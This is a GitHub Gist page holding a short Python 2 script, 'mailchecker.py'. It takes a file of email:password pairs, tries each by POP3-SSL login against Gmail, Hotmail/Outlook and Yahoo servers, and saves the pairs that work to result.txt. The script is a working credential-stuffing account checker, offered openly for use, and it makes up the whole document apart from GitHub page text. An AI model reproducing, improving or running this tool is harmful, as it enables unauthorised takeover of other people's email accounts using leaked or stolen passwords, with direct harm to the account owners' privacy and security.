Created
October 26, 2013 05:28
-
-
Save 0xv/7165629 to your computer and use it in GitHub Desktop.
huft
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys, poplib | |
#i lost 100exp on dota 2 for create this shit. | |
#http://twitter.com/0xv | |
def save(log): | |
f = open('result.txt', 'a') | |
f.write(log) | |
def help(): | |
print 'usage : ./mailchecker.py <emaillist>' | |
print 'ex: ./mailchecker.py maillist.txt' | |
print 'Note: format maillist: [email protected]:password\n' | |
def checkhost(email): | |
if '@gmail.com' in email or '@googlemail.com' in email: | |
return 'pop.gmail.com' | |
elif '@live.' in email or '@hotmail.' in email or '@outlook.' in email: | |
return 'pop3.live.com' | |
elif '@yahoo.' in email or '@ymail.' in email: | |
return 'pop.mail.yahoo.com' | |
def check(maillist): | |
try: | |
for m in maillist: | |
email = m.split(':')[0] | |
password = m.split(':')[1].strip('\n') | |
host = checkhost(email) | |
if login(host, email, password) == 1: | |
print '%s : %s oh yeah!' % (email,password) | |
log = '\r%s : %s' % (email,password) | |
save(log) | |
else: | |
print '%s : %s fail!' % (email,password) | |
except: | |
print 'something wrong!' | |
def login(host, email, password): | |
try: | |
host = poplib.POP3_SSL(host, 995) | |
host.user(email) | |
host.pass_(password) | |
return 1 | |
except Exception,e : | |
print e | |
return 0 | |
if __name__ == "__main__": | |
if len(sys.argv) != 2: | |
help() | |
exit(1) | |
maillist = sys.argv[1] | |
maillist = open(maillist) | |
check(maillist) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment